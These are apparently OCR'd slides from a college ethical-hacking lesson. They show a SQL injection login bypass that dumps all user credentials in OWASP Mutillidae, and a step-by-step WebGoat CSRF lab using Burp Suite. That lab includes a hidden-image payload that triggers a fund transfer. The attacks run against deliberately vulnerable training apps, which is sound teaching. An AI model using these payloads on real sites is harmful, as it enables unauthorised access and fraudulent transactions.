Name [imben76’ OR 1="1
Password | E simben76' OR 1="1 You can now login without a
G ] password!
[ Results for "simben76' OR 1="1".1 records found. |
Username=simben7i

Password=password
Signature=| love chicken
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OWASP Mutillidae II

Please enter username and password
to view account details

Password ['I'I'Illlllll
[ View Accowt Detats | 2 ' OR 1="1 Or all users and passwords in the
database!

[ Results for "".25 records found. ]
Username=admin

Password=admin

Signature=g0t ro0t?

Username=adrian
Password=somepassword
Signature=Zombie Films Rock!

Username=john
Password=monkey
Signature=| like the smell of confunk

Username=jeremy
Password=password
Signature=d1373 1337 speak

Username=bryce
Password=password
Signature=| Love SANS

Username=samurai
Password=samurai
Signature=Carving fools

Usernames=jim
Password=password
Signature=Rome is burning

Username=bobby
Password=password
Signature=Hank is my dad

Username=simba

Password=password
Signature=| am a super-cat
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Cross-Site Request Forgery (CSRF)

« Another malicious type of attack on a website.

« Also known as a "one-click attack" or "session riding"
attack.

« The browser must already be authenticated on a legitimate
website and is therefore "trusted" by that web application.

« The browser is then tricked into sending unauthorized
malicious (forged) requests to that website.

« This vulnerability can be extremely dangerous ... think
online banking.

158
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Cross-Site Request Forgery (CSRF)

OWASP Risk Rating

Threat Agents

Attack Vectors

Security Weakness

can load content into
YOUr users’ browsers,
and thus force them
o submit a request to
your website. Any
website or other
HTML feed that your
users access could do
this.

L . Exploitability Prevalence
Application Specific
AVERAGE COMMONM
Consider anyone who JAttacker creates

forged HTTP requests
and tricks a victim into
submitting them via
image tags, XSS, or
numerous other
techniques. If the user
is authenticated, the

attack succeeds.

CSRFE takes advantage the fact that most
web apps allow attackers to predict all the
details of a particular action.

Because browsers send credentials like
session cookies automatically, attackers can
create malicious web pages which generate
forged requests that are indistinguishable
from legitimate ones.

Detection of CSRF flaws is fairly easy via
penetration testing or code analysis.

Technical
Impacts

Impact
MODERATE

Business
Impacts

Application /
Business Specific

Attackers can trick
victims into
performing any state
changing operation
the victim is
authorized to periorm,
€.7g., updating account
details, making
purchases, logout and
even login.

Consider the business
value of the affected
data or application
functions. Imagine not
being sure if users
intended to take these
actions.

Consider the impact
to your reputation.
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https://www.owasp.org/index.php/Top_10_2013-A8-Cross-Site_Request_Forgery_(CSRF)

CIS 76 - Lesson 12+ 1o 2 o B Rf <11

Cross-Site Request Forgery (CSRF)

| Cross site request forgery, CSRF, is the third big web attack. I've talked about cross
site scripting
> »l o) 006/919 @& 5]

‘ﬂ]u TuI]E https://www.youtube.com/watch?v=vRBihr41JTo
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OWASP CSRF Prevention

How Do I Prevent 'Cross-Site Request Forgery (CSRF)'?
Preventing CSRF usually requires the inclusion of an unpredictable
token in each HTTP request. Such tokens should, at a minimum, be
unique per user session.

1. The preferred option is to include the unique token in a hidden
field. This causes the value to be sent in the body of the HTTP
request, avoiding its inclusion in the URL, which is more prone to
exposure.

2. The unique token can also be included in the URL itself, or a URL
parameter. However, such placement runs a greater risk that the
URL will be exposed to an attacker, thus compromising the secret
token.

3. OWASP’s CSRF Guard can automatically include such tokens in
Java EE, .NET, or PHP apps. OWASP’s ESAPI includes methods
developers can use to prevent CSRF vulnerabilities.

4. Requiring the user to reauthenticate, or prove they are a user
(e.g., via a CAPTCHA) can also protect against CSRF.

161

https://www.owasp.org/index.php/Top_10_2013-A8-Cross-Site_ Request_Forgery_(CSRF)



CIS 76 - Lesson 12

CSRF Example References and Credits

tutorialspoint

il
A SIMPLYEASYLEARNING

iStutorials point

SIMPLYEASYLEARN

NG

@ ooy Temeg Tl % {4 Secuny

€ C | # mipesmmmtrasponteom

@ww-lalapon'n‘t‘ i
wHoME A

Securky Testing Tutor

@ Securky Testg Home

8 Securry Testing Overvew

© Mataciaus 5

otocol Basics

 HITPS Prosocol Busics
© Encoding and Decoing
® Ciyprography Overview

© Saeme Origin Posicy

© Testing Cookies

https:

ax|o

L8 8 .a

T ©ViOEos Qsearch

simply easy

© Previous Page Next Page @

Security Testing Tutorial

[3 POF version @ Quick Gude f Resources 1 Job Search | % Discussion

Security Testing s performed to reveal security flaws in the
system Inorder to protect the data and maintain functionaliy.

This tutorial wil teach you the core concepts of Security Testing
and each of these sections contain related topics with simple and
useful examples.

Audience

“This reference has been prepared for the beginners to help them
to understand the basics of security Testing, This tutorial will
aive you enough understanding on security testing from where
you can take yourself to a higher level of expertise

testing/index.htm

Lots and lots of
hacking tutorials

Introducing Dynamic Mapping
S3y goodbye to static network diagrams

Experience the Power of
Spark Streaming

Try StreamAnalytix on Cloud

www.tutorialspoint.com/securit

4 Securny Temng T X ) 4 Secunty Tesong - x { [§ Cbrmm x

@ | nttos e tutonalspaint com e as|o

| SECURITY TESTING - CROSS-SITE REQUEST FORGERYCSRF

o

T

csar chuding the

o the Wi

Letus understand Tveat Agents. Atack Vectors. Securky Weakness, Technial imgact 37
Piinen imeats o s i wih the o1 o wemoie Sa318m

sryone b o b crpan sy s e, and e
et 10 508 e 0yt ot

< errc v g 19 gty s s st v
B

SRSt apeaage e ot st e g b ke
e a8t aetah of e acion.

 Detecrion of CSA Mg b Fary sy v et ton et ot
<o i

 ATachors a1 b 0 perter iy St Sariog
Couratin o et oz 5 ertoim.

+ T et o o et

« it 0t g e H e e dad 10t P actors.

Example
Belowis 3 classic exampe of CSAF

Now e sccountts the

Backers
Piackers coniol

https:
m/security testin

site request forgery.pd

PDF of the CSRF

testing tutorial

www.tutorialspoint.co
df/cross

OWASP WebGoat v5.4

_ Mozilla Firefox L3

1076,

Lesson Plan Title: How to Perform Cross Sita Request Forgery

Concept i Topic To Teach:
This lesson teaches how to perform Cross Site Request Forgery (CSRF) attacks

How the attacks works:
Cross-Site Request Forgery (CSRF/XSRF) is an attack that tricks the victim into loading a page that contains img links
like the 0ne bel
<img src="1atp iiwww rybank comisendFunds do?acctid=123456">

When the wictim's browser atiempts to render tis page, it wil issue @ request to wiwwmybank com to the
transfarFunds do page with the specified parameters. The browser will think the kink is to gat an image, even though it
actually is a funds transfer funcion. The raquest will include any caokies associated with tha site. Therefore, if the user
has authenticated to the site, and has ither a permanert cookie or even a cumrant session cookie, the site will have no
way to distinguish this from a legibmate user request. In this way, the attacker can make the victim perform acbons that
they didnt intend to, such as logout, purchase item, or any other function pravided by the vuinerable website

General Goal(s):

Yaur goal is to send an email to a newsaroup that contains an image whose LIRL is poirting to & malicious request. Try
to incluse a 11 pixel image that includes a URL. The URL should point to the CSRF lesson with an extra parameter
“transferFunds=4000". You can copy the shortcut from the left hand menu by nght clicking on the left hand menu and
choosing copy shortcut Whaever recenves this email and happens to be authencated at that tme wil have his funds
transfermed. When you think the attack is successful, refresh the page and you will find the green check on the left hand
side menu.

Note that the “"Screen" and "menu” GET variables will vary between WebGoat builds. Copying the menu link
on the left will give you the current values.

xX.101/WebGoat/sour
ce?solution=true

Solution page on
OWASP VM website
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Cross-Site Request Forgery (CSRF)

Example Overview:

In this WebGoat example malicious html code is inserted into a
post on a forum-like web application. This code is stored in the
database and isn't rendered until a user reads the post. When
the malicious code is activated the browser will be tricked into
sending an unauthorized (forged) request to another website.
The browser thinks it is getting an image file to display however
there is no image.

We will browse to the WebGoat application using Firefox on EH-

Kali. Burp Suite will be used on EH-Kali as a web proxy so we
can intercept and monitor every request the browser makes.
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Cross-Site Request Forgery (CSRF) Setup

[EH-Kali] Burp Suite on EH-Kali-xx

Burp Suite Free Edi

Licence Agreement

Please read the following licence agreement carefully. and indicate whether you accept its terms.

Burp Suite Free Edition Licence Agreement A

This licence agreement (Licence) is a legal agreement between you (Licensee or youl and
PORTSWIGGER LTD of Victoria Court, Bexton Road, Knutsfard, WA16 OPF England (Licensor or we) for
a suite of tools designed for web application security testers (Burp Suite Free Edition or Software),

hich includes computer software, and the online documentation current at the date of the download
of this Licence (Documentation)

BURP SUITE FREE EDITION REQUIRES A COMPUTER WITH A MINIMUM OF 4GB OF MEMORY AND THE
OFFICIAL JAVA RUNTIME ENVIRONMENT (64-BIT EDITION, VERSION 1.7 OR LATER). BY INSTALLING THE
SOFTWARE YOU AGREE TO THE TERMS OF THIS LICENCE AND THE TERMS AND CONDITIONS OF THE
LICENSOR WHICH WILL BIND YOU AND YOUR EMPLOYEES. IF YOU DO NOT AGREE TO THE TERMS OF

[THIS LICENCE AND THE TERMS AND CONDITIONS, WE ARE UNWILLING TO LICENSE THE SOFTWARE TO

OU AND YOU MUST DISCONTINUE THE INSTALLATION PROCESS NOW. IN THIS CASE THE INSTALLATION
ILL TERMINATE v

Help improve Burp by submitting anonymous feedback about its performance

Accept the license
agreement

I Decline

-
Burp Suite Free Edition e ® O

An update is available.

Version: Burp Suite Free Edition 1.7.27

Description: Minor enhancements and bugfixes

Release notes:  hitpo/r

Use the current
version

L] | 164
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Cross-Site Request Forgery (CSRF) Setup

[EH-Kali] Burp Suite

Burp Suite Free Edition v1.7.03 e e O
LEJ Welcome to Burp Suite Free Edition. Use the options below to create or Bl .._‘
open a project. = - -
Note: Disk-based projects are only supported on Burp Suite Professional. ' -
[ ® Temporary project ]
Mew project on disk File: Choose file...
MName:
Open existing project Name | File
File: Choose file...
Pause Spider and Scanner
l Cancel J [ Next ]

Select "Temporary project” and click the Next button 165
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Cross-Site Request Forgery (CSRF) Setup

[EH-Kali] Burp Suite

EJ Select the configuration that you would like to load for this project.

[ ® Use Burp defaults ]

Use options saved with project

(L) Load from configuration file

[] Default to this option in future

Burp Suite Free Edition v1.7.03

B

3
o
h
-

© 0o 0]

JRPSUITE

File

File:

Choose file... :

l Cancel J L Back J [ Start Burp ]

Select "Use Burp defaults" and click the Start Burp button
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Cross-Site Request Forgery (CSRF) Setup

[EH-Kali] Burp Suite

-
Burp Suite Free Edition v1.7.03 - Temporary Project e ® O
Burp Intruder Repeater Windew Help
[ Target[Proxy ] Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Project options T User options T Alerts ]
_[ Intercept T HTTP history T WebSockets history T Options ]
Fors | Drop Intercept is on ton | Comm t+ w
Raw H
A
-
e
¥
< + || 0 matches

Click the Proxy tab 167
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Cross-Site Request Forgery (CSRF) Setup

[EH-Kali] Burp Suite

-
Burp Suite Free Edition v1.7.03 - Temporary Project (— O < ]
Burp Intruder Repeater Window Help

[Target TProxy T Spider T Scanner T Intruder TRepeater T Sequencer T Decoder T Comparer T Extender T Project options T User options Tnler‘ts ]

[ Intercept T HTTP history TWebSockets histary rﬂptions ]

@ Proxy Listeners

O Burp Proxy uses listeners to receive incoming HTTP requests from wour browser. You will need to configure your browser to use one of the listeners as
(2
proxy server.

l Add J Running | Interface | Invisible | Redirect | Certificate

I l [E] 12?.0.0.1:8080' =] Per-host
Edit
Remove »

Each installation of Burp generates its own CA certificate that Proxy listeners can use when negotiating 55L connections. You can import or export this
certificate for use in other tools or another installation of Burp.

l Import f export CA certificate J l Regenerate CA certificate J

@ Intercept Client Requests
@ Use these settings to control which requests are stalled for viewing and editing in the Intercept tab.

[ Intercept requests based on the following rules:

l Add J Enabled | Operator | Match type | Relationship | Condition
I (] File extension Does not match (~gif$| ~jpa%| ~pna$| ~css$| ~jsH|...
Edit 8 or Request Contains parameters -
O or HTTP metheod Does not match (get|post) v
< 7 T

168
Click the Options tab and verify Burp Suite is listening on port 8080
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[EH-Kali] Burp Suite

r

~
Burp Suite Free Edition v1.7.03 - Temporary Project (— I < ]
Burp Intruder Repeater Window Help
[Target T Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Project options T User options Tnler‘ts ]
Intercept § HTTP history TwebScckets history T Qptions ]
Forward Drop Intercept is an Action Comme item L4 [;"J
Raw Hex
A
-
-
]
(3] [ree] ] oo | 0 matches

169
Click the Intercept tab to monitor browser requests
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Cross-Site Request Forgery (CSRF) Setup

[EH-Kali] Firefox

Applications » Places v @ Firefox ESR v Mon 19:59

Kali Linux, an Offensive Security Project - Mozilla Firefox

/ KaliLinux, an Offensive S... x |

(0| file://fusr/share/kali-defaults/web/homepage.html e |[Q search e @ % & =)

fi5 Most Visited v JllOffensive Security S Kali Linux " Kali Docs "% Kali Tools EBExploit-DB W Aircrack-ng

LKI \ L I KALI LINUX  KALITOOLS KALI DOCUMENTATION OFFENSIVE SECURITY
————————n

170

Switch to Workspace 2 and run Firefox
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[EH-Kali] Firefox

/,v‘ Kali Linux, an Offensive S... x | &

Kali Linux, an Offensive Security Project - Mozilla Firefox e ® O
) G file:///usr/share/kali-defaults/web/homepage.html c \ [O\ Search \ w B 4 A #=v é
[ Most Visited v Jll Offensive Security “ Kali Linux “§ Kali Docs " Kali Tools X cut B Copy Pacrs
K a LI - 100% +
KALI LINUX KALITOOLS KALI DOI
New Window  New Private Save Page
Window
-~
& 0O &
-
Print History Full Screen

’

Developer

Synced Tabs

€2 Sign in to Sync

Customize

Select Preferences

171
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Cross-Site Request Forgery (CSRF) Setup

[EH-Kali] Firefox

Preferences - Mozilla Firefox e e O
Kali Linux, an Offensive S... xj.-"' ik Preferences x \"u.\-l-
'(_- | ) Firefox | about:preferences#advanced ¢ | |Q Search | b+ = ¥ H =v =
[ Most Visited v JllOffensive Security " Kali Linux " Kali Docs “e Kali Tools EWExploit-DB Wy Aircrack-ng

0] General Advan ced 6
General Data Choices Update Certificates

B Content

% Privac Configure how Firefox connects to the Internet Settings...

& Security Cached Web Content

Your web content cache is currently using 85.9 MB of disk space Clear Now

€) Sync

& Advanced Limit cache to 350 MB of space

Override automatic cache management

Offline Web Content and User Data
Your application cache is currently using 0 bytes of disk space Clear Now

v Tell me when a website asks to store data for offline use Exceptions...

172
Advanced > Network > Settings...
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Cross-Site Request Forgery (CSRF) Setup

[EH-Kali] Firefox

r

-

Connection Settings [ <]
Configure Proxies to Access the Internet
) No proxy
() Auto-detect proxy settings for this network
() Use system proxy settings ) ) )
@ Manual proxy configuration: This will Conflgure
HTTP Proxy: || localhost Port: 8080 | the browser to use
se this proxy server for all protocols the Burp Suite as a
SSL Proxy: | localhost | Port | 8080 3 proxy service.
ETP Proxy: | localhost l Port: l 8080 Z i
| L - This enables the
SOCKS Host: | localhost Port: 8080 -
= . X Burp Suite to
SOCKS v4 (= SOCKS v5 [JRemote DNS :
o S intercept and
No Proxy for: . i
monitor all Firefox
localhost, 127.0.0.1
‘ browser requests.
Example: .mozilla.org, .net.nz, 192.168.1.0/24
() Automatic proxy configuration URL:
I || Reload |
[ Do not prompt for authentication if password is saved
Help | Cancel ‘ OK
173

Configure the proxy service as shown above
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[EH-Kali] Firefox browse to http:

//10.76.xx.101

owaspbwa OWASP Broken Web Applications - Mozilla Firefox

@

Kali Linux, an Offensive S... xj.-"' @& owaspbwa OWASP B.. = \"-.kll-

(€)@ 10765101 e

| | Q, Search

[ Most Visited v Jll Offensive Security "¢ Kali Linux “ Kali Docs "% Kali Tools EMExploit-DB W Aircrack-ng

&% ®d @ & & =

TRAINING APPLICATIONS

©0OWASP WebGoat

€ OWASP ESAPI Java SwingSet
Interactive

©OWASP RailsGoat

€ OWASP Security Shepherd

@Magical Code Injection Rainbow
@Damn Vulnerable Web Application

REALISTIC, INTENTIONALLY VULNERABLE APPLI

F—Y

From your Kali VM, browse to your OWASP VM and head to WebGoat

©OWASP WebGoat.NET

©0WASP Mutillidae II

©OWASP Bricks
@ Ghost

©pwAPP

CATIONS

Y

Scroll
down a
little

We are
using Pod
5 for this
example

174
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[EH-Kali] Burp Suite

Burp Suite Free Edition v1.7.03 - Temporary Project e G O
Burp Intruder Repeater Window Help
[Target T PrnxyT Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Project options T User options Tnler‘ts ]
_[ Intercept T HTTP history T WebSockets history T Qptions 1
Drop Intercept is on Action L] LEJ
Raw | Headers | Hex
GET /WebGoat/attack HTTP/1.1 'y
Host: 10.76.5.101 a
User-Agent: Mozilla/5.0 (X11:; Linux x86_64; rv:45.0) Gecko/201001C1 Firefox/45.0
Accept: text/html,applications/xhtml+xml,application/xml ;g=0.9,%/%;q=0.8
Accept -Language: en-US,en;qg=0.5
Accept -Encoding: gzip, deflate
Referer: http://10.76.5.10L/
Connection: close
-
v
LJ&JLLJLJ“ | 0 matches

Back on workspace 1 click the Forward button on Burp Suite 175
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Cross-Site Request Forgery (CSRF) Setup

[EH-Kali] Burp Suite

Burp Suite Free Edition v1.7.03 - Temporary Project
Burp Intruder Repeater Window Help

[Target T Proxy T Spider T Scanner T Intruder T Repeater T Seguencer T Decoder T Comparer T Extender T Project options T User options T Alerts ]
_[ Intercept T HTTP histary T WebSockets history T Options ]

Forward Drop Interceptis on Action Comment this iten L+ EJ
Raw Headers Hex
A
~ -
Authentication Required [ ]
> :, A username and password are being requested by http://10.76.5.101. The site says: "WebGoat
& Application”
User Name: | guest |
Password: | eeeee ]

Cancel | | OK

e
v
2 < + = Twpe a search term

0 matches

Login to WebGoat with username and password = guest

176
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[EH-Kali] Burp Suite

Burp Suite Free Edition v1.7.03 - Temporary Project e e 9
Burp Intruder Repeater Window Help

[Target TProay T Spider T Scanner T Intruder T Repeater T Seqguencer T Decoder T Comparer T Extender T Project options T User options Tnlerts ]

J Intercept T HTTP history TWebSockets history T Options 1

EJ Request to http://10.76.5.101:80
r Forward I l Drop J [ Intercept is on ] [ Action J Comment this item

Raw | Headers | Hex

GET /WebGoat/attack HTTP/1.1

Host: 10.76.5.101

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;g=0.9,%/%;q=0.8
Accept-Language: en-US,en;g=0.5

Accept -Encoding: gzip, deflate

Referer: http://10.76.5.101/

Connection: close

Authorization: Basic Z3W1lc306Z3V1c30=

Ill
am
= |

e

=
¥

0 matches

:)
J
b
P

Click forward to continue 177
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[EH-Kali] Firefox

WebGoat V5.4 - Mozilla Firefox Q@ ® O
Kali Linux, an Offensive S... % juﬁ WebGoat V5.4 x-\"u\'I-
':f(- ) @ | 10.76.5.101/WebGoat/attack ¢ ||Q search RN 3 H wy =

[ Most Visited v Jll Offensive Security & Kali Linux " Kali Docs "% Kali Tools EMExploit-DB W Aircrack-ng

Thank you for using WebGoat! This program is a demonstration of common web application flaws. The
exercises are intended to provide hands on experience with application penetration testing techniques.

The WebGoat project is led by Bruce Mayhew. Please send all comments to Bruce at
WebGoat@owasp.org.

OWASP ASPECT

e Ot Wess Application Securnity Projeet

Application Security Experts
WebGoat Authors
Bruce Mayhew
Jeff Williams
WebGoat Design Team V5.4 Lesson Contributers
David Anderson Sherif Koussa
Laurence Casey (Graphics) Yiannis Pavlosoglou
Rogan Dawes
Bruce Mayhew
Special Thanks for V5.4 Documentation Contributers
' ) ) : Erwin Geirnaert
Brian Ciomei (Multitude of bug fixes) Aung Khant

To all who have sent comments

I Start WebGoat I

Sherif Koussa

In workspace 1 start WebGoat

Scroll
down a
bit

178
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Cross-Site Request Forgery (CSRF) Setup

[EH-Kali] Burp Suite

F
Burp Suite Free Edition v1.7.03 - Temporary Project o ® O
Burp Intruder Repeater Windew Help
[Target T Proxy T Spider T Scanner T Intruder T Repeater I Sequencer T Decoder T Comparer I Extender T Project options T User options Tﬁler‘ts 1
J Intercept T HTTE history TWebSockets history T Options ]
|#] Request to hitp://10.76.5.101:80
l Forward ]l Drop J [ Intercept is on ] [ Action J Comment this item B2
J Raw T Params T Headers T Hex 1
POST /WebGoat/attack HTTP/1.1 A
Host: 10.75.5.101 -
User-Agent: Mozilla/5.0 (¥11; Linux xB6_84; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,applicationS/xhtml+xml,application/xml;g=0.9,%/%;q=0.8
Accept-Language: en-US,en;g=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.76.5,101/WebGoat fattack
Cookie: JSESSIONID=300638BCESASDLES22B6S878AB2A12024; acopendivids=swingset,jotto, phpbbh2, redmine: acgroupswithpersist=nada
Authorization: Basic Z3V1c308Z3V1c30=
Connectien: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 19
start=5tart+webGoat
=
v
? < + = Type a search term 0 matches

179
Click Forward on Burp Suite to continue
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[EH-Kali] Firefox

How to work with WebGoat - Mozilla Firefox - o =
Kali Linux, an Offensive S... xj-"' ® Connecting... x \"k-I-
.(- ) (@ | 10.76.5.101/WebGoat/attack EJ| x | |Q, Search | w8 3+ H =y =

[ Most Visited v Jll Offensive Security “e Kali Linux “& Kali Docs “ Kali Tools EBExploit-DB Wy Aircrack-ng

LOOKIe

I 0) 0)

Introduction

General

Access Control Flaws
AJAX Security
Authentication Flaws

Solution Videos Restart this

How To Work With WebGoat

Ezg:r:n%\;ﬁgows Welcome to a short introduction to WebGoat. SCFO//
P Er Here you will learn how to use WebGoat and additional tools for the lessons. d
: = own a
| cross-Site Scripting (%55) | )
Phishing with %55 Environment Information little

LAB: Cross Site Scripting

WebGoat uses the Apache Tomcat server. It is configured to run on localhost although this
Stage 1: Stored XSS5 easily changed. This configuration is for single user, additional users can be added in the t
Stage 2: Block Stored XS5 users.xml file. If you want to use WebGoat in a laboratory or in class you might need to ch:
using Input Validation setup. Please refer to the Tomcat Configuration in the Introduction section.

Stage 3. Stored XS5
Revisited The WebGoat Interface

Stage 4: Block Stored XS5
using Output Encoding

Stage 5: Reflected XSS5
Stage 6: Block Reflected X55
Stored XSS Aftacks
Reflected XS5 Attacks
Cross Site Request Forgery
[CSRF)
CSRF Prompt By-Pass

N NN T S

Waiting for 10.76.5.101...

'OWASP WebGoat V5.2

Restart this Le

Enter your name in the input fekd below and press “go” to submit. The server will accept
réguast, reverse the shput, and dsplay it back to the user, dugtratng the bascs of handl =

L3

180
Navigate on the left panel to Cross Site Request Forgery (CSRF)
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Cross-Site Request Forgery (CSRF) Setup
[EH-Kali] Burp Suite

i
Burp Suite Free Edition v1.7.03 - Temporary Project e 60 O
Burp Intruder Repeater Window Help

Target PrnxyT Spider T Scanner T Intruder TRepeater T Sequencer T Decoder T Comparer T Extender T Project options T User options Tnler‘ts ]

_[ Intercept T HTTP history TwebSockets history T Qptions ]

Forward l Drop Intercept is on Action Comment this iterm

Raw Params Headers Hex

®

GET /WebGoat/attack?Screen=204&menu=200 HTTF/1.1

Heost: 10.76.5.101

User-Agent: Mozillas5.0@ (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0

Accept: text/html,application/xhtml+xml,application/xml ;g=0.59,%,/%;q=0.8

Accept-Language: en-US,en:g=0.5

Accept-Encoding: gzip, deflate

Referer: http://10.76.5.101/WehGoat /fattack

Cookie: JSESSIONID=300638BCEGAB0LESZ22BEE78AB2A12024; acopendivids=swingset,jotto.phpbbh2, redmine;
Authorization: Basic Z3W1c306Z3V1c30Q=

Connection: close

L

acgroupswithpersist=nada

=
v

T T T T Tvpe a search term 0 matches

181
Click Forward on Burp Suite to continue
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Cross-Site Request Forgery (CSRF) Setup

[EH-Kali] Firefox

Cross Site Request Forgery (CSRF) - Mozilla Firefox e ® O

Kali Linux, an Offensive S... xj-"' @ Cross Site Request F... x.\'k"'

'(' ) (@ | 10.76.5.101/WebGoat/attack? Screen=52&menu=90 c | |Q Search | Wl B 4+ H #v

fi5 Most Visited v Jll Offensive Security “e Kali Linux S Kali Docs “ Kali Tools EMExploit-DB W Aircrack-ng

E”F'f' O “rh LR malicious request. Try to include a 1x1 pixel image that includes a URL. The URL should pca
uiter Sveriows the CSRF lesson with an extra parameter "transferFunds=4000". You can copy the shortcut

Eggsu?rlﬁlc? left hand menu by right clicking on the left hand menu and choosing copy shortcut. Whoev
Cross-Site Scripting (X55) receives this email and happens to be authenticated at that time will have his funds transt
When you think the attack is successful, refresh the page and you will find the green check

Phishing with XSS left hand side menu.
LAR: Cross Site Seripting Note that the "Screen” and "menu” GET variables will vary between WebGoat bt

Copying the menu link on the left will give you the current values.
Stage 1: Stored XS5

Stage 2: Block Stored X355

using Input Validation Title: Fun lab
Stage 3: Stored X355 M .
Revistted ©SSa0e T 1ike this lab a lot!

Stage 4: Block Stored X535
using Output Encoding

Stage 5: Reflected X35
Stage 6: Block Reflected XSS
Stored XS5 Aftacks

Reflected XS5 Attacks

Cross Site Request Fargery
[CSRF)

CSRF Prompt By-Pass
CSRF Token By-Pass
HTTPOnly Test

Cross Site Tracing (XST) .
Atacks Submit |

Improper Error Handling
Injection Flaws

Fill out the form and click the Submit button

182
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[EH-Kali] Burp Suite

Burp Suite Free Edition v1.7.03 - Temporary Project e ® 0
Burp Intruder Repeater Window Help

[Target I Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Project options T User options Tﬂler‘ts ]

_[ InterceptT HTTP history T WebSockets history T Options ]

[ﬁJ Request to http:/f10.76.5.101: 80

=3 |

ﬂ Forward ] [ Drop J { Intercept is on ] l Action J Comment this item

J Raw T Params T Headers T Hex 1

POST /WebGoat /attack ?Screen=52&menu=506 HTTR/1.1

Host: 10.76.5.101

User-Agent: Mozilla/5.0 (X11: Linux x86 &4; rv:45,0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;g=0.9,%/%;q=0.8
Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Referer: http://10.76.5.101/WebGoat fattack ?Screen=52&8menu=900

Cookie: JSESSIOMID=822D9C0OFS2694E50F11890ADBASEBECAE; acopendivids=swingset,jotto,phpbb2, redmine; acgroupswithpersist=nada
Authorization: Basic Z3W1c306Z3V1c30=

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: &0

e

title=Fun+lab&message=I+like+this+lab+a+lot%21&SUBMIT=Submit

? T T T Type a search term 0 matches

183
Click Forward on Burp Suite to continue
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[EH-Kali] Terminal
SCp xxxxxx76@opus-ii:../depot/lesson12/csrf/* .
cat payload

root@eh-kali-05: ~ e 60 O

File Edit View Search Terminal Help
:~# scp simben76@opus-ii:../depot/lessonl2/csrf/* .
simben76@opus-ii's password:

payload 100% 108 4.1KB/s 00:00

:~# cat payload
<img src="http://10.76.xx.101/WebGoat/attack?Screen=81l&menu=210&transferFunds=5000" width="1" height="1" />

~# I

184
In workspace 3 open a terminal and copy the payload file on Opus-II
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CIS 76 - Lesson 12 ‘ I lw

Cross-Site Request Forgery (CSRF) Setup

[EH-Kali] Firefox

-

@ | 10.76.5.101/\WebGoat/attack?Screen=52&menu=90 e | Update to your ¥ fi #v =

[ Most Visited v Jfll Offensive Security & Kali Linux e Kali Docs pOd number k-ng

LOTTCUTTETICY
Cross-5ite Scripting (X55)

Phishing with XSS
LAB: Cross Site Scripting

Stage 1: Stored X55

Stage 2: Block Stored XS5
using Input Validation

Stage 3: Stored XS5
Revisited

Stage 4: Block Stored XS5
using Output Encoding
Stage 5: Reflected XSS
Stage 6: Block Reflected XSS
Stored XSS Attacks
Reflected %55 Attacks
Cross Site Request Forgery
[CSRF)
CSRF Prompt By-Pass
CSRF Token By-Pass
HTTPOnly Test
Cross Site Tracing (XS
Aftacks

Improper Error Handling
Injection Flaws

Denial of Service
Insecure Communication
Insecure Configuration

Create new message using the malicious HTML payload (copy an paste

receives this email and happens to be authenticated at that tifve will have his funds transt*
When you think the attack is successful, refresh the page and you) will find the green check
left hand side menu.

Note that the "Screen” and " s will vary between WebGoat bv
Copying the menu link on the left will give you the current values.

Title: Troublel ‘

Messag <img src="http://10.76.xx.101/WebGoat/attack?Screen=81&
menu=210&transferFunds=5000" width="1" height="1" /=

Message List
Fun lab

Created by Sherif_, &+
L3

from terminal) to transfer bank funds

185
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Cross-Site Request Forgery (CSRF) Setup

[EH-Kali] Burp Suite

Burp Suite Free Edition v1.7.03 - Temporary Project e ® 6
Burp Intruder Repeater Window Help

[Target T Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Project options T User options T.ﬂller‘ts 1

J InterceptT HTTP history TwebScckets histary T Options ]

[#] Request to http://10.76.5.101:80

r Farward ]l Drop J ( Intercept is on 1 l Action J Comment this item

2 |7
_[ Raw T Params T Headers | Hex
POST /WebGoat /attack?Screen=52&menu=200 HTTP/1.1 '
Host: 10.75.5.101 -

User-Agent: Mozillas5.0 (¥11; Linux xB6_64; rv:45.0] Gecko/20100101 Firefox/45.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/+;g=0.8

Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Referer: http://10.76.5.101/WebGoat fattack ?Screen=52&menu=900

Cookie: JSESSIONID=822D9COF92694E50F1189DA0BASBECOAE; acopendivids=swingset,jotto,phpbb2, redmnine;
Authorization: Basic Z3W1c306Z3V1c30=

Connection: close

Content-Type:!: application/x-www-form-urlencoded

Content-Length: 189

acgroupswithpersist=nada

title=Trouble&message=%3Cimg+srcs30%22htt p%3A%2F%2F10. 76, xx. 101% 2FWebGoat % 2Fat t ack%3FSc reen%3081% 26menu% 3D210% 26t ransferFunds% 3D
S000%22+widt h%30% 221% 22+ height % 305221 % 23+% 2F% 3ELSUBMIT=5ubm1t

? T T T Tvpe a search term 0 matches

Click Forward on Burp Suite to continue 186
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Cross-Site Request Forgery (CSRF) Setup

[EH-Kali] Burp Suite

Burp Suite Free Edition v1.7.03 - Temporary Project e 6 6
Burp Intruder Repeater Window Help
[Target TF‘ro.-Ly T Spider T Scanner T Intruder TRepeater ]’ Sequencer T Decoder T Comparer T Extender T Project options T User options TAIerts ]
J Intercept T HTTP history TwebSockets history T Options ]
(#] Request to http://10.76.5.101:80
Forward [ Drop J { Intercept is on ] l Action J Comment this item 13 (2
J Raw T Params T Headers T Hex ]
GET /WebGoat /fattack?Screen=52&menu=900&Num=3 HTTF/1.1 A
Host: 10.76.5.101 -
User-Agent: Mozilla/5.0 (¥11l; Linux x86 &4; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;g=0.9,%/%;g=0.8
Accept-Language: en-US,en;qg=0.5
